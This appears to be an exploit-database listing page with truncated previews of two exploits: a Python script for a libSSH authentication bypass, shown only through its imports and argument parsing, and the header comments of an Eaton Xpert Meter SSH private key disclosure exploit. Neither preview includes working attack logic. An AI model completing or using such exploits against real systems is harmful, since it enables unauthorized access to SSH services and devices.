libSSH – Authentication Bypass

libSSH – Authentication Bypass [su_quote] #!/usr/bin/env python3 import paramiko import socket import argparse from sys import argv, exit parser = argparse.ArgumentParser(description=”libSSH Authentication Bypass”) parser.add_argument(‘–host’, help=’Host’) parser.add_argument(‘-p’, ‘–port’, help=’libSSH port’, default=22) parser.add_argument(‘-log’, ‘–logfile’, help=’Logfile to write […]

Eaton Xpert Meter 13.4.0.10 – SSH Private Key Disclosure

# Exploit Title: Eaton Xpert Meter 13.4.0.10 – SSH Private Key Disclosure # Date: 2018-07-16 # WebPage: https://CTRLu.net/ # Vendor Homepage: http://www.eaton.com/ # Vendor Advisory: http://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/PXM-Advisory.pdf # Software Link: http://www.eaton.com/Eaton/ProductsServices/Electrical/ProductsandServices/PowerQualityandMonitoring/PowerandEnergyMeters/PowerXpertMeter400060008000/index.htm#tabs-2 # Version: Firmware <= 12.x […]